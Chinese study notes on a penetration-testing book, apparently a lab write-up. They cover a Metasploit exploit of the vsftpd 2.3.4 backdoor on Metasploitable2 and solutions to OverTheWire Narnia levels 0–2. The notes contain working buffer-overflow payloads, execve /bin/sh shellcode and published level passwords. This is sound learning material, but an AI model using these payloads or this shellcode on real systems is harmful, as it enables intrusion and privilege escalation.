看书的时候不要写废话
真正了不起的程序员是对自己程序的每一个字节都了如指掌
黑客密集渗透测试指南第二版学习笔记
1.6 学习
阅读本书的人员需掌握Nmap、Metasploit、Cain and Abel 和 aircrack工具使用原理。对Python/Ruby语言及缓冲区等溢出攻击有一定了解。
1.6.1 Metasploitable2
靶机(Metasploitable2)在第一篇搭建环境的时候我们已经安装好了。这里书中举了个“栗子”,关于使用metasploit对vsftpd后门漏洞的利用。
vsftpd 是“very secure FTP daemon”的缩写,安全性是它的一个最大的特点。vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux、BSD、Solaris、 HP-UNIX等系统上面,是一个完全免费的、开放源代码的ftp服务器软件,支持很多其他的 FTP 服务器所不支持的特征。比如:非常高的安全性需求、带宽限制、良好的可伸缩性、可创建虚拟用户、支持IPv6、速率高等。但是vsftpd在2-2.3.4版本存在后门漏洞。攻击者可以通过该漏洞获取root权限。
查看IP
- metasploitable2
user = msfadmin
password = msfadmin
- backbox5.1
Nmap扫描
大部分扫描器会对所有的端口分为open或closed两种类型,而Nmap对端口的分类更加的细致,共分为六个状态:open
、closed
、filtered
、unfiltered
、open|filtered
、closed|filtered
open
:一个应用程序正在此端口上进行监听,以接收来自TCP、UDP、或SCDP协议的数据。这是在渗透测试中最关注的一类端口,开放端口往往能够为我们提供能够进入系统的攻击路径。
closed
:关闭的端口指的是主机已响应,但没有应用程序监听的端口。这些信息并非毫无价值,扫描出关闭端口至少说明主机是活跃的。
filtered
:指Nmap不能确认端口是否开放,但根据响应数据猜测该端口可能被防火墙设备过滤。
unfiltered
:仅在使用ACK扫描时,Nmap无法确定端口是否开放,会归为此类,可以使用其他类型的扫描(如Windows扫描、SYN扫描、FIN扫描)进一步确认端口的信息。
常用的Nmap扫描类型参数主要有:
参数 | 内容 |
---|---|
-sT | TCP connect扫描,类似Metasploit中的TCP扫描 |
-sS | TCP SYN扫描,类似Metasploit中的SYN扫描 |
=sF/-sX/-sN | 这些扫描通过发送一些特殊的标志位以避开设备或软件的检测 |
-sP | 通过发送ICMPecho请求探测主机是否存活 |
-sU | 探测目标主机开放了哪些UDP端口 |
-sA | TCPACK扫描,类似Metasploit中的ack扫描模块 |
常用的Nmap扫描参数有:
参数 | 内容 |
---|---|
-sn | 只是判断主机的存活情况,并不会进一步探测主机的详细信息 |
-PU | 对开放的UDP端口进行探测判断存活的主机,使用和Metasploit中的udp_sweep的模板作用是一样 |
-A | 可以更为详细的获得服务和操作系统的信息 |
-Pn | 在扫描之前,不发送ICMP echo请求测试目标是否活跃,在Internet环境中推荐使用,Nmap将不会采用ping扫描的方式,这样包就不会被网络边界防火墙过滤掉了 |
-P0 | 只扫描主机不进行ping命令 |
-O | 启用对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息。 |
-sV | 一般跟在-O后面对其服务器的版本进行辨识 |
-F | 快速扫描模式,只扫描在nmap-services中列出的端口。 |
-p<端口范围> | 可以使用这个参数指定希望扫描的端口,也可以使用一段端口范围(例如:1~1023).在IP协议扫描中(使用-sO参数),该参数的意义是指定想要扫描的协议号(0~255) |
进入metasploit使用nmap -sT -A进行扫描
nmap扫描.png从扫描结果可以看到靶机的21端口位开放状态,且提供vsftpd 2.3.4的服务,接下来是对漏洞的利用了,使用search vsftpd
查询模块名称,其中提示Module database cache not built yet,using slow search。是因为我忘记连接数据库了,可以使用如下命令启动。
service postgresql start
service metasploit start
通过查询后得到模块名称为"exploit/unix/ftp/vsftpd_234_backdoor"。
查询模块名称.png使用如下命令加载vsftpd 2.3.4漏洞模块
use exploit/unix/ftp/vsftpd_234_backdoor
使用如下命令查看模块选项
show options
通过查看选项发现需要对攻击目标的地址进行设置。
利用漏洞,查看选项使用如下命令设置攻击地址:
set RHOST 10.10.10.137
再次输入show options查看选项是否配置成功
配置选项最后输入exploit
开始运行,从截图中可以看到漏洞已经被成功利用,并且通过cat命令成果获取了shadow中的文件内容。
为了深入研究Metasploitable2,可以阅读Rapid7指南,地址为https://community.rapid7.com/docs/DOC-1875。
学习如何有效使用Metasploit和Meterpreter。推荐访问http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X。
1.6.2 二进制的利用
关于深入研究二进制利用技术,推荐书籍shellcode手册,中文在线预览地址http://ishare.iask.sina.com.cn/f/19977345.html
或者推荐阅读黑客利用的艺术。
黑客利用的艺术
一个非常好的夺旗站点 Over the Wire(http://overthewire.org/wargames/narnia/)
开始前需要学习以下基础知识:
- 基本的汇编语言和理解寄存器的使用
- GDB基础知识(GNU调试器)
- 理解不通类型的内存段(栈、堆、数据、BBS和代码段);
- Shellcode基本概念
对学习有帮助的资料:
- Intelx86架构入门(http://opensecuritytraining.info/IntroX86.html)
- 漏洞利用教程:缓冲区溢出漏洞(http://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow)
- 利用写作教程第1部分:基于堆栈的溢出(https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- 培训机构(http://www.lethalsecurity.com/wiki)
- 软件漏洞简介(http://opensecuritytraining.info/Exploits1.html)
- 利用联系(https://exploit-exercises.com/protostar)
Narnia
这个游戏从level0至level9共10个关卡,游戏中每一个关卡都需要通过ssh登录到narnia.labs.overthewire.org服务器上面.每一个关卡都拥有自己的用户名和密码, 用户名与关卡名称相同, 即narnia0-narnia4, 而密码则另有门道, 开始我们只知道narnia0关卡的密码, 这个密码很简单就是"narnia0", 而其他关卡则需要成功闯过前一关才能得到后一关的密码, 这就好像在玩密室逃脱游戏, 你获得一个谜题只有解开它才能找到下一个谜题, 就这样串联式地探索下去, 直到密室打开.
我喜欢这只猫来吧开始第一题
出现了一点小插曲,当第一次远程连接主机的时候,SSH进行了一次SSH 公钥检查,显示出了服务器的公钥,提示用户是否信任主机。(SSH 公钥检查是一个重要的安全机制,可以防范中间人劫持等黑客攻击。)当选择接受,就会将该主机的公钥追加到文件 ~/.ssh/known_hosts 中。当再次连接该主机时,就不会再提示该问题了。 如果因为某种原因(服务器系统重装,服务器间IP地址交换,DHCP,虚拟机重建,中间人劫持),该IP地址的公钥改变了,当使用 SSH 连接的时候,会报错提示公钥改变,该服务器原来的公钥记录在文件 ~/.ssh/known_hosts 中。
image.png在首次连接服务器时,会弹出公钥确认的提示。这会导致某些自动化任务,由于初次连接服务器而导致自动化任务中断。或者由于 ~/.ssh/known_hosts 文件内容清空,导致自动化任务中断。 SSH 客户端的 StrictHostKeyChecking 配置指令,可以实现当第一次连接服务器时,自动接受新的公钥,只需要在ssh命令后面加入-o StrictHostKeyChecking=no
即可。
#-o StrictHostKeyChecking=no自动接收新公钥
#用户名:narnia0 密码:narnia0 端口:2226
#连接地址narnia.labs.overthewire.org
ssh -o StrictHostKeyChecking=no narnia0@narnia.labs.overthewire.org -p 2226
连接成功.png
接下来使用cd进入到 /narnia目录下 就可以看到这9道题目了
0-9.png在正式开始做题前我们先来补充下几类知识(更新的慢主要就是因为发扬了grok的精神,为了深入了解看了两本书《程序员的自我修养》、《汇编语言第三版》如果不太懂ELF文件结构和汇编的朋友请先看下书,因为涵盖的内容比较多我就不会一一去写了,如有不对的地方求指正):
Object文件的格式
现在PC平台流行的可执行文件格式(Executable)主要是Windows下的PE(Protable Executable)和Linux的ELF(Executable Linkable Format),他们都是COFF(Common file format)格式的变种。Object文件就是源代码编译后但未进行链接的哪些中间文件(Windows下的.obj和Linux下的.o),它跟可执行文件的内容与结构很相似,所以一般跟可执行文件格式一起采用一种格式存储。
不光是可执行文件(exe、elf)按照可执行文件格式存储。动态链接库(DLL,Dynamic Linking Library)(Windows的.dll和Linux的.so)及静态链接库(Static Linking Library)(Windows的.lib和Linux的.a)文件都安装可执行文件格式存储。
Object文件结构
当一个程序被编译成object文件(格式为elf格式)后,它的结构入下图所示:
-
File Header(头文件)
头文件主要描述了整个文件的文件属性,包括文件是否可执行、是静态链接还是动态链接及入口地址(如果是可执行文件)、目标硬件、目标操作系统等信息。文件头还包括一个段表(Section Table),是一个描述文件中各个段的数组
使用"readelf -S 'object文件名(.o文件)'" -
text section
对照图片一般C语言的编译后执行语句都编译成机器代码,保存在这个段。 -
data section
初始化的全局变量和局部静态变量都保存在.data段。 -
bass section
未初始化的全局变量和局部静态变量一般放在.bass段。在这段代码中定义了一个global_uninit_var这个变量,这个变量并没有赋值。所以这个变量目前为0,当Object文件通过linking生成执行文件中可能会在linking其他动态或静态链接库中找到这个变量的值,所以Object文件必须记录所谓未初始化的全局变量和局部的静态变量的大小综合,记为.bass段。
ELF文件也有可能包含其他的段:
常用的段名 | 说明 |
---|---|
.rodata1 | Read only Data,这种段里存放的是只读数据,比如字符串常量、全局const变量。跟".rodata"一样 |
.comment | 存放的是编译器版本信息,比如字符串:"GCC:(GUN)4.2.0" |
.debug | 调试信息 |
.dynamic | 动态链接信息 |
.hash | 符号哈希表 |
.line | 调试时的行号表,即源代码行号与编译后指令的对应表 |
.note | 额外的编译器信息。比如程序的公司名、发布版本号等 |
.strtab | String Table.字符串表,用于存储ELF文件中用到的各种字符串 |
.symtab | Symbol Table.符号表 |
.shstrtab | Section String Table,段名表 |
.plt .got | 动态链接的跳转表和全局入口表 |
.init .fini | 程序初始化与中介代码段 |
我们可以使用"size"命令查看ELF文件每个段的长度:
每个段的大小使用objdump 的"-s"参数可以将所有段的内容以十六进制的方式打印出来"-d"参数可以将所有报告指令的段反汇编:
段内容当然书中主要介绍了静态链接与动态链接,希望小伙伴们能认真读书,这里的其他内容就不介绍,从做题开始吧。
我们开始做第一题
先打开narnia0.c源码看一下
/*
这是一个免费的软件,你可以重新分配或修改它,根据自由软件基金会公布的
GNU通用公共许可证条款;许可证的2版本,或者(按你的选择)
任何后来的版本。
这个程序是分布式的,希望它是有用的,但没有任何保证;
甚至没有对适销性或适合特定用途的默示保证。
详情请参阅GNU通用公共许可证。
你应该已经收到了GNU通用公共许可证的副本以及这个程序;
如果没有,请写信给自由软件基金会
地址为51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
/*这是C语言头文件的引用*/
#include <stdio.h>
#include <stdlib.h>
//声明C头文件,里面包含了标准输入输出函数
int main(){
long val=0x41414141; //声明长整型变量val值为十六进制0x41414141
char buf[20]; //声明字符型数组buf长度20
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
//打印:将val的值0x41414141跟改为正确值:0xdeadbeef
printf("Here is your chance: ");
//打印:这里是你的机会
scanf("%24s",&buf);
//输入:格式化数组buf,长度为24
printf("buf: %s\n",buf);
//打印:buf
printf("val: 0x%08x\n",val);
//打印:0x(后面为16进制val的值)
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
/*
判断val的值是否等于0xdeadbeef
如果等于调用setreuid()函数设置真实有效的用户识别码(用户识别码通过geteuid()函数获得)
调用system()函数获得shell进程
如果不等于打印:走开!
*/
}
return 0;
}
开了源码后大致了解了,我们可以通过输入一个长度为24的值给buf,将val的值从0x41414141更改为0xdeadbeff,进而拿下shell。
接下来我们看下这段代码函数调用的汇编代码,使用gdb进行调试。
gdb narnia0
set disassembly-flavor intel //看不惯linux格式的可以使用这条命令将其转化为intel格式显示
disassemble main 对主函数进行反汇编
下面就为反汇编的代码,解释我直接备注在下面吧,当然还有一些知识我就分一段一段的注释了。
Dump of assembler code for function main:
/*
在i386中,一个函数的活动记录用ebp和esp这两个寄存器划定范围。
esp始终指向栈的顶部,ebp指向函数活动记录的一个固定位置。ebp又被称为“帧指针”
下面为一个函数体的标准开头,也是栈的初始化。
*/
0x0804855d <+0>: push ebp //把ebp压入栈中(称为old ebp)
0x0804855e <+1>: mov ebp,esp //将ebp指向栈顶
0x08048560 <+3>: push ebx //保存名为ebx的寄存器
/*
0xFFFFFFF0 = 11111111 11111111 11111111 11110000
这个相当于把esp的最后4个bit位清零, 也就是把stack往低地址对齐(与堆对齐)使其能够被16整除;
这样对32位或者64位CPU来说,所有的的stack上的基本变量都可以一次访问到
(如果地址没有对齐,那么有可能CPU需要访问两次内存来获得一个8 byte的变量)
这样看来,实际上将stack地址在8 byte上对齐对32位甚至64位的CPU都足够了...
但是问题是对于一些 SIMD (single instruction, multiple data) 的指令*规定*访问的地址必须向16 byte对齐
(也就是必须被16为整除 -- 这是从指令效率的方面来设计的).
*/
0x08048561 <+4>: and esp,0xfffffff0
0x08048564 <+7>: sub esp,0x30 //在栈上分配0x30也就是48个字节的临时空间
0x08048567 <+10>: mov DWORD PTR [esp+0x2c],0x41414141 //将0x41414141送入esp+0x2c的地址中
/*
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
第二句的主要功能通过调用函数_dl_runtime_resolve,找到要调用函数(puts)的地址,以后执行就可以进行直接的调用
*/
0x0804856f <+18>: mov DWORD PTR [esp],0x80486a0
0x08048576 <+25>: call 0x80483f0 <puts@plt>
/*
printf("Here is your chance: ");
*/
0x0804857b <+30>: mov DWORD PTR [esp],0x80486d3
0x08048582 <+37>: call 0x80483d0 <printf@plt>
/*
scanf("%24s",&buf);
*/
0x08048587 <+42>: lea eax,[esp+0x18] //取esp+0x18的地址给eax寄存器
0x0804858b <+46>: mov DWORD PTR [esp+0x4],eax //将scanf的参数(esp+0x4)压入栈中,
0x0804858f <+50>: mov DWORD PTR [esp],0x80486e9
0x08048596 <+57>: call 0x8048440 <__isoc99_scanf@plt>
0x0804859b <+62>: lea eax,[esp+0x18]
/*
printf("buf: %s\n",buf);
*/
0x0804859f <+66>: mov DWORD PTR [esp+0x4],eax
0x080485a3 <+70>: mov DWORD PTR [esp],0x80486ee
0x080485aa <+77>: call 0x80483d0 <printf@plt>
/*
剩余的代码
*/
0x080485af <+82>: mov eax,DWORD PTR [esp+0x2c]
0x080485b3 <+86>: mov DWORD PTR [esp+0x4],eax
0x080485b7 <+90>: mov DWORD PTR [esp],0x80486f7
0x080485be <+97>: call 0x80483d0 <printf@plt>
0x080485c3 <+102>: cmp DWORD PTR [esp+0x2c],0xdeadbeef
0x080485cb <+110>: jne 0x80485f3 <main+150>
0x080485cd <+112>: call 0x80483e0 <geteuid@plt>
0x080485d2 <+117>: mov ebx,eax
0x080485d4 <+119>: call 0x80483e0 <geteuid@plt>
0x080485d9 <+124>: mov DWORD PTR [esp+0x4],ebx
0x080485dd <+128>: mov DWORD PTR [esp],eax
0x080485e0 <+131>: call 0x8048420 <setreuid@plt>
0x080485e5 <+136>: mov DWORD PTR [esp],0x8048704
0x080485ec <+143>: call 0x8048400 <system@plt>
其实已经比较容易理解了,画个简单的图:
太丑了.png- 首先栈做了个初始化,esp、ebp都位于47这个单元的位置,也就是栈底(不习惯的可以倒过来看);
- 给栈分配了0x30的临时空间,换成10进制就是这48个单元了。(0到22的字节单元我就省略了)esp到了0这个单元位置;
- val=0x414141在esp+0x2c的位置,换成10进制就是44这个单元的位置共4个字节
- scanf函数的参数位于esp+0x18的位置,也就是24至43单元位置共20字节(char buf[20])
那么问题来了源码中scanf函数可以输入24个 字节的内容,但是buf只定义了可以输入20个字节的内容,那么多出的4个字节会到哪里去呢,没错!他会覆盖本存有val值得单元,将原来得val值覆盖。
源码1源码中也提到如果val的值等于0xdeadbeef(正好4个字节)那么我们将可以等到新的shell。
源码2好了开始答题吧,使用python来格式化字符串,利用管道符执行narnia0的时候输入字符串
python -c 'print "\x00"*20+"\xef\xbe\xad\xde"' | ./narnia0
提示val值已经变为0xdeadbeef但是说好的shell怎么没来....
......网上查到一个大神说这大概是因为管道在将python脚本的输出转为narnia0程序的STDIN的过程中在STDIN中添加了EOF(文件终止符), 导致shell启动之后遇到EOF又被终止了, 无参数的cat指令会从键盘获取输入, 这样在python脚本之后添加cat指令, cat会捕获到最后添加的那个EOF, 于是终止了cat程序自身, 从而使shell程序幸免于难。使用书中的方法提取/etc/narnia_pass/目录下第一题的密码。
(python -c 'print "\x00"*20+"\xef\xbe\xad\xde"';echo 'cat /etc/narnia_pass/narnia1') | ./narnia0
.
开始第二题
使用ctrl+d
断开narnia0的连接终端,使用刚刚得到的密码重新sshnarnia1进第二题
ssh -o StrictHostKeyChecking=no narnia1@narnia.labs.overthewire.org -p 2226
efeidiedae
登录成功
还是老样子查看下narnia1.c的代码
/*
这是一个免费的软件,你可以重新分配或修改它,根据自由软件基金会公布的
GNU通用公共许可证条款;许可证的2版本,或者(按你的选择)
任何后来的版本。
这个程序是分布式的,希望它是有用的,但没有任何保证;
甚至没有对适销性或适合特定用途的默示保证。
详情请参阅GNU通用公共许可证。
你应该已经收到了GNU通用公共许可证的副本以及这个程序;
如果没有,请写信给自由软件基金会
地址为51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
int main(){
int (*ret)(); //函数指针,*ret指针存放的是一个函数的地址,该地址就是函数的入口
/*
getenv(EGG)函数
(1)函数说明:获取环境变量的值
(2)参数说明:含被请求变量名称(EGG)的 C 字符串
(3)返回值:该函数返回一个以 null 结尾的字符串,该字符串为被请求环境变量的值。如果该环境变量不存在,则返回 NULL。
例如: printf("PATH : %s\n", getenv("PATH"));
返回:/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin
*/
if(getenv("EGG")==NULL){
/*打印 给我一些在环境变量EGG中执行的东西*/
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
/*
函数指针需要把一个函数的地址赋值给他,一般赋值方法有两种,本地使用第二中方法赋值。
fun = &function
fun = function
*/
ret = getenv("EGG");
ret();
return 0;
}
程序做的事:
1、getenv函数会搜索“EGG”所指向环境变量的字符串,并返回相关的值给字符串;
2、该字符串赋值给了ret函数指针;
3、(*ret)()函数指针将该字符串当作函数的地址入口,执行该字符串。
我们将要修改的事:
根据narnia0的执行过程,如果narnia1中能创建shell子进程,则该shell将拥有narnia2的用户权限,这样我们就可以获取到narnia2的登录密码。
我们只要在EGG的字符串内容中放入能够创建子进程的shellcode,让函数指针把shellcode当作函数地址入口直接执行就行。
- 接下来我们来借助execve系统调用写shellcode吧
为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。
想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm/unistd_32h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:
启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。 系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
先通过man手册查看execve函数是如何定义的:
execveexecve系统调用需要3个参数:
- filename必须是一个二进制的可执行文件,或者是一个脚本以#!格式开头的解释器参数参数。如果是后者,这个解释器必须是一个可执行的有效的路径名,但是不是脚本本身,它将调用解释器作为文件名。
- argv是要调用的程序执行的参数序列,也就是我们要调用的程序需要传入的参数。
- envp 同样也是参数序列,一般来说他是一种键值对的形式 key=value. 作为我们是新程序的环境。
注意,argv 和envp都必须以null指针结束。首先用C先写一个管理execve的调用
#include <stdio.h>
int main()
{
char *sc[2];
sc[0]="/bin/sh";
sc[1]= NULL;
execve(sc[0],sc,NULL);
}
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
novice@machine:~$ gcc -o shellcode shellcode.c
novice@machine:~$ ./shellcode
$ exit
novice@machine:~$
新shell可以使用 。
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,touc exec.asm填写如下代码:
BITS 32
global _start
section .text
; 内核系统调用 位置为11(从上面的unistd_32h中可以看到十六进制为0x0b)
SYS_EXECVE equ 0x0b
_start:
; 函数及传入参数的实例execve("/bin//sh", 0, 0);
push SYS_EXECVE ; SYS_EXECVE = 11
pop eax ; 将execve函数调用设置为eax
xor esi, esi ; 将源地址指针寄存器清零
push esi ; 将esi寄存器压栈
push 0x68732f2f ; 压栈:'hs//' asciss编码
push 0x6e69622f ; 压栈:'nib/' asciss编码
mov ebx, esp ; 将"/bin//sh/"送入ebx寄存器(第一个参数)
xor ecx, ecx ; 将ecx寄存器设置为NALL(第二个参数)
mov edx, ecx ; 将ecx寄存器的值NALL存入edx寄存器(第三个参数)
int 0x80 ; 调用int指令进入中断
汇编后使用ld连接进行测试
nasm -f elf32 exec.asm
ld -m elf_i386 -o exec exec.o
测试
能够实现了,接下来我们使用objdump -d exec
命令提取16进制操作码:
"\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候系统会认为是一个截断符,将会导致shellcode被截断。
开始答题吧,把我们得到的操作码修改为字符串设置为变量EGG的值,然后运行narnia1。
export EGG=$(python -c 'print "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"')
./narnia1
cat /etc/narnia_pass/narnia2
果然表现稳健成功获得第二题SSH连接登录密码。
获得第二题的SSH登录面膜开始第三题
使用ctrl+d断开narnia1的连接终端,使用刚刚得到的密码重新sshnarnia2进第三题
ssh -o StrictHostKeyChecking=no narnia2@narnia.labs.overthewire.org -p 2226
nairiepecu
第三题
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/*
argc是命令行总的参数个数
argv[]为保存命令行参数的字符串指针,其中第0个参数是程序的全名,以后的参数为命令行后面跟的用户输入的参数,
argv参数是字符串指针数组,其各元素值为命令行中各字符串(参数均按字符串处理)的首地址。
指针数组的长度即为参数个数argc。数组元素初值由系统自动赋予。
*/
int main(int argc, char * argv[]){
char buf[128]; //每个参数,字符串指针数组的长度不能超过128个字符
if(argc == 1){ //如果参数为1,也就是只有默认的argv[0]也就是程序的名字
/*
printf("%s",argv[i]))输出字符串;
打印:用途:narnia2参数
*/
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
/*
如果参数个数不唯一时,
将(argv[1]也就是第二个参数)传入strcpy函数
*/
strcpy(buf,argv[1]);
//打印出这个参数
printf("%s", buf);
return 0;
}
从代码层面分析来看,容易产生地处的地方就只有strcpy()函数了,strcpy()函数会调用argv[1]作为函数的参数,但是char buf[128]规定了字符串指针数组的长度不能超过128个字节。如果传入的参数数组长度超过128个字节就会造成溢出。
-
问题
在上一关, 程序之所以会运行Shellcode是因为程序中调用了*ret函数指针, shellcode的地址是被当作函数执行的。 在本关卡中, strcpy之后就直接print输出然后return 0返回。即使我们在输入数据中插入Shellcode貌似也不能执行。 -
理解函数的执行
image.png
我们首先来看下一个函数执行的过程:
【1】在主程序中每次调用函数时,先依次把各参数以相反的顺序入栈;
【2】然后call func_name, 这里call要做两件事: 一是把函数的返回地址入栈,二是让指令执行指针%eip指向函数开始处。
【3】现在函数要开始执行了,但它执行函数代码前还要做一点小事,首先把原来的基地址寄存器%ebp值入栈,因为在程序执行中%ebp要另作它用, 接着堆栈指针%esp的值复制给%ebp, 此后在函数执行中%ebp一直保持不变,可以由此寻址获得函数参数。
pushl %ebp
movl %esp, %ebp
【4】下面开始执行函数代码了。函数先要把它的局部变量保存在栈中,这很简单。比如要保存一个long型数据,只要把%esp指针向下移动4个字节(因为栈增长方向是由高地址到低地址),再根据%esp把该数据移入。
-
方法
当年首个蠕虫病毒的作者Morris给出了一个天才般的解答:
调用函数的时候, 会先把传给该函数的参数压入栈中, 再将函数返回后下一个指令的地址压入栈中我们简称保存该指令的区域为RET, 然后抽象的角度来看会为该函数创建一个栈帧, 会向栈帧中压入函数调用者栈帧的地址, 然后为该函数中定义的各个变量依次预留空间, 无论该函数多么复杂, 定义了多少变量, 当它执行完后首先会将该函数栈帧弹栈然后通过ret指令来将控制权交给函数调用者, 并执行之前保存的RET指向的指令。
简单来说也就是一个函数执行完后都会跳转到返回地址,该地址由eip指针保存的下一条命令地址,我们需要做的就是通过栈溢出控制eip寄存器(返回地址),让他指向我们shellcode的地址。 -
解题
控制eip所在位置
通过metasploit-framework框架下的pattern_create.rb生成200个非重复字符,用于栈溢出后寻找eip覆盖地址。没有metasploit的特殊时候也可以不用工具自己用手写
获得的测试字符串为:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
将测试字符串单做参数传入,并在gdb下进行调试,通过info registers查看寄存器中的值可以发现,此时eip寄存器中的值(也就是返回地址)存储的值为0x41346541。
查看eip寄存器的值将0x41346541经过ascii码转化后得到A4eA,因为内存为低地址在上高地址在下,所以eip的地址是传入的字符串Ae4A,通过手工计算,发现该地址位于第132个字节处。
手工计算当然我们也可以使用metasploit-framework框架下的pattern_offset.rb来进行查找精确的值,同样结果为132个字节。
eip被覆盖字节我们可以通过重新传入新的字节进行验证,先传入132个字节A,再传入4个字节的B,B字母在ascii转码后的值为42,进过gdb执行后查看eip的值变成了我们输入的4个B。我们现在已经掌握了eip所在位置可以随意控制返回地址了。
eip被覆盖字节2插入shellcode
为了能拿下shell,我们必须要有一段shellcode去执行/bin/sh。同样是执行/bin/sh,我们可以使用上一道题narnia1中我们已经写好的shellcode去使用了。
shellcode = "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
这段shellcode的长度为24个字节,净荷需要136个字节(132个覆盖字节4个字节控制eip地址)
我的构造如下:
92个字节NOP指令+24个字节指令+16个字节NOP指令+4个字节B(EIP地址)=136个字节。
NOP
计算机科学中,NOP或NOOP(No Operation或No Operation Performed的缩写,意为无操作)是汇编语言的一个指令,一系列编程语句,或网络传输协议中的表示不做任何有效操作的命令。
在Intelx86系列CPU架构中操作码为0x90,字长为1。
在这里使用意味着跳到NOP时将继续执行,直到开始运行可执行代码。
将EIP地址指向shellcode
在gdb下通过x/250x $esp
命令,以十六进制的格式打印出stack前250个元素。
我们可以看出初始的NOP(x90),后面是shellcode,然后接着又是NOP,最后是eip地址BBBB。我们可以选择0xffffd7a0栈地址,让eip指向这里。因为系统为小段模式,故eip的值应该修改为"\xa0\xd7\xff\xff"。
现在我们完整的溢出参数就已经构造好了
"\x90"*92 (NOP不做任何操作)
"\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" (shellcode)
"\x90"*16 (NOP不做任何操作)
"\xa0\xd7\xff\xff" (EIP地址(指向shellcode))
我们输入指令试运行一下,提示我们在执行新的程序/bin/dash,并且已经成功跳转到了shell中,但是在查看密码的时候提示权限不足。
我们再切到系统中执行一下,发现已经成功获得了narnia3的ssh连接密码。
./narnia2 `python -c 'print "\x90"*92 +"\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" + "\x90"*16 + "\xa0\xd7\xff\xff"'`
执行成功
书中第一章的内容就已经学习完了,关于Narnia的题目将占时不再更新,先把书看完后,我再继续来做narnia的题目,我觉得这个题还是特别有意思的,嘿嘿嘿。
网友评论